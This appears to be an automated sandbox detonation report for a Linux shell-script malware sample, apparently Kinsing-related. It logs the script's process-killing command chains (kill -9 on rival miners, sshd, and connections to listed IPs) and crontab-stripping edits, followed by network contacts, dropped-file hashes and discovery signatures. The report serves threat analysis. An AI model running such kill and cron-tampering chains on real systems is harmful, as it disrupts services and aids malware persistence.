[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/net]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/pagetypeinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/partitions]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sched_debug]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/schedstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/scsi]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/slabinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/softirqs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/stat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/swaps]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysrq-trigger]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/sysvipc]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/thread-self]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/timer_list]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/tty]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/uptime]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/version_signature]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmallocinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/vmstat]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/zoneinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep /dot]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f hezb]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep tracepath]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f /tmp/.out]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep ./ll1]

/bin/ps

[ps aux]

/bin/grep

[grep -i [a]liyun]

/bin/ps

[ps aux]

/bin/grep

[grep -i [y]unjing]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep php-fpm pool www]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep Cli start accept]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep bash -k]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep perfctl]

/bin/ps

[ps aux]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 185.71.65.238]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 140.82.52.87]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 207.38.87.6]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 23.94.214.119]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 34.81.218.76:9486]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 42.112.28.216:9486]

/usr/bin/pkill

[pkill -f .git/kthreaddw]

/usr/bin/xargs

[xargs -I % kill -9 %]

/usr/bin/awk

[awk {if($3>80.0) print $2}]

/bin/grep

[grep -v grep]

/bin/grep

[grep agetty]

/bin/ps

[ps aux]

/usr/bin/pkill

[pkill -f 42.112.28.216]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /192.81.212.13/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /base64/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /python/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /shm/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /postgresql/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /cloudfronts/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /sshd/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /linux/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /neoogilvy/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /rsync/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /bpdeliver/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/crontab

[crontab -]

/bin/sed

[sed /perfcc/d]

/usr/bin/crontab

[crontab -l]

/usr/bin/pkill

[pkill -f sshd]

/usr/bin/pkill

[pkill -f htop]

/usr/bin/pkill

[pkill -f linuxsys]

/usr/bin/pkill

[pkill -f kthreaddo]

/usr/bin/pkill

[pkill -f donkey]

/usr/bin/pkill

[pkill -f sysupdater]

/usr/bin/pkill

[pkill -f php-update.service]

/usr/bin/pkill

[pkill -f update-setup]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :1414]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep 127.0.0.1:52018]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :143]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :2222]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3333]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :3389]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

/usr/bin/awk

[awk {print $7}]

/bin/grep

[grep :4444]

/usr/bin/xargs

[xargs -I % kill -9 %]

/bin/grep

[grep -v -]

/usr/bin/awk

[awk -F[/] {print $1}]

Network

Country Destination Domain Proto
N/A 224.0.0.251:5353 udp
US 151.101.129.91:443 tcp
GB 185.125.188.61:443 tcp
GB 185.125.188.62:443 tcp
US 151.101.129.91:443 tcp
GB 195.181.164.20:443 tcp
US 1.1.1.1:53 1527653184.rsc.cdn77.org udp
US 1.1.1.1:53 1527653184.rsc.cdn77.org udp
GB 84.17.50.9:443 1527653184.rsc.cdn77.org tcp
RU 95.142.47.27:80 95.142.47.27 tcp
RU 95.142.47.27:80 95.142.47.27 tcp
RU 185.122.204.197:80 tcp
RU 185.122.204.197:80 tcp

Files

/tmp/log_rot

MD5 727479ef7cedf30c03459bec7d87b0f0
SHA1 2082e7f715f058acab2398d25d135cf5f4c0ce41
SHA256 29872037c9573567744ef10ed2de57864ded7554c9fa2ef03fc1244c65794ba6
SHA512 4cb59d37f8481f9bb2745f494baa0910a68aad40ac2903ef1513547e091e1e772a5f9436f789ab91fcafb75b8a28c2112ede89004be41f33c01d936b542ca6ba

/var/spool/cron/crontabs/tmp.E2hr5a

MD5 ed0eca92b51485363cbe621c27a5f8a8
SHA1 e71f65b13a56ad1c3643a05a8cc7ae10c197afef
SHA256 eb018c498ca40a75e4d7ff888a7d1a9f9243e5e60f000a05d7bb6b833e9ece0d
SHA512 c99e710f105aed3595976a020e44eeca7135f026470a8b4cf31eda89bfe1b65f1b2f93d4eb2aecc7e45112f5fb8d8f8739def6521e46dd8f19b2da8b268c4d88

/etc/kinsing

MD5 8eec510e57f5f732fd2cce73df7b73ef
SHA1 3c0af39ecb3753c5fee3b53d063c7286019eac3b
SHA256 55f7d9e99b8e2d4e0e193b2f0275501e6d9c1ebd29cadbea6a0da48a8587e3e0
SHA512 73bbf698482132b5fd60a0b58926fddec9055f8095a53bc52714e211e9340c3419736ceafd6b279667810114d306bfccdcfcddf51c0b67fe9e3c73c54583e574

/var/spool/cron/crontabs/tmp.wDBBsL

MD5 13ce28d0e6b20e62306e65cbf8c000f1
SHA1 a1f65d93b617b17a49f974e726c82d90fd247840
SHA256 57f0d8b7c2e11e85715340dee5804e6a8219af11b208db897828364d00bb03d3
SHA512 d38e597064065d146f2f7af1da3c68df23dc8b57f8e0f9825b7cf4ebb7ea62c02ae1b2adf7f568e9c379d60d9610209985e116fe0860da2ba77c64fc24287cb2

/var/spool/cron/crontabs/tmp.8BBGrQ

MD5 8b02cd1361e756ab6c9fe8a1aef6fac7
SHA1 d5db523c480c701993c7e120f440b5423c174bab
SHA256 af291add9bbffd618768c3753a2b607e223a43615f5a407a4eb219653721993f
SHA512 c940ae6e615a7440318d159b249b32975f2956dcd3b6279857495b918052aa8ef48c74042aa60d6dea677fbc0fdfefac6c1eba39bdaed6f8ef26c3c4b6deec76

/var/spool/cron/crontabs/tmp.whNOw6

MD5 87acc92e1268ec7333beab892c108f12
SHA1 23d6500343d6203542c7ecc80e886bacf9054aad
SHA256 004649d1639744b402550298dd2d09bacbc2af9093001bdc937c43d3e10ce4d4
SHA512 2172bb5d5a48c0d00cd0371544299a78c0185832185b1d181ec7bcd61ac13bd9b42d2b8a13b3fb930de14fe727ff54ad3ed387e342d5c2c129aff3d7a049a810

Analysis: behavioral12

Detonation Overview

Submitted

2024-12-06 14:06

Reported

2024-12-06 14:09

Platform

debian9-mipsel-20240226-en

Max time kernel

10s

Command Line

[/tmp/script_malware/10c3b6b03a9bf105d264a8e7f30dcab0a6c59a414529b0af0a6bd9f1d2984459.sh]

Signatures

File and Directory Permissions Modification

defense_evasion
Description Indicator Process Target
N/A N/A /bin/chmod N/A

Enumerates running processes

Reads CPU attributes

discovery
Description Indicator Process Target
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A
File opened for reading /sys/devices/system/cpu/online /bin/ps N/A

Reads runtime system information

discovery
Description Indicator Process Target
File opened for reading /proc/6/stat /bin/ps N/A
File opened for reading /proc/71/stat /bin/ps N/A
File opened for reading /proc/245/stat /bin/ps N/A
File opened for reading /proc/74/status /bin/ps N/A
File opened for reading /proc/711/stat /bin/ps N/A
File opened for reading /proc/11/status /bin/ps N/A
File opened for reading /proc/37/stat /bin/ps N/A
File opened for reading /proc/376/stat /bin/ps N/A
File opened for reading /proc/self/maps /usr/bin/awk N/A
File opened for reading /proc/37/stat /bin/ps N/A
File opened for reading /proc/70/stat /bin/ps N/A
File opened for reading /proc/78/stat /bin/ps N/A
File opened for reading /proc/335/status /bin/ps N/A
File opened for reading /proc/self/stat /bin/ps N/A
File opened for reading /proc/15/status /bin/ps N/A
File opened for reading /proc/36/status /bin/ps N/A
File opened for reading /proc/728/status /bin/ps N/A
File opened for reading /proc/37/status /bin/ps N/A
File opened for reading /proc/165/stat /bin/ps N/A
File opened for reading /proc/1/status /bin/ps N/A
File opened for reading /proc/10/stat /bin/ps N/A
File opened for reading /proc/713/status /bin/ps N/A
File opened for reading /proc/70/stat /bin/ps N/A
File opened for reading /proc/465/stat /bin/ps N/A
File opened for reading /proc/18/stat /bin/ps N/A
File opened for reading /proc/72/status /bin/ps N/A
File opened for reading /proc/335/stat /bin/ps N/A
File opened for reading /proc/337/stat /bin/ps N/A
File opened for reading /proc/512/stat /bin/ps N/A
File opened for reading /proc/6/status /bin/ps N/A
File opened for reading /proc/14/status /bin/ps N/A
File opened for reading /proc/70/status /bin/ps N/A
File opened for reading /proc/1/stat /bin/ps N/A
File opened for reading /proc/75/status /bin/ps N/A
File opened for reading /proc/77/status /bin/ps N/A
File opened for reading /proc/338/status /bin/ps N/A
File opened for reading /proc/72/stat /bin/ps N/A
File opened for reading /proc/713/stat /bin/ps N/A
File opened for reading /proc/filesystems /usr/bin/find N/A
File opened for reading /proc/7/status /bin/ps N/A
File opened for reading /proc/77/stat /bin/ps N/A
File opened for reading /proc/82/status /bin/ps N/A
File opened for reading /proc/688/stat /bin/ps N/A
File opened for reading /proc/714/stat /bin/ps N/A
File opened for reading /proc/14/status /bin/ps N/A
File opened for reading /proc/16/stat /bin/ps N/A
File opened for reading /proc/21/status /bin/ps N/A
File opened for reading /proc/37/status /bin/ps N/A
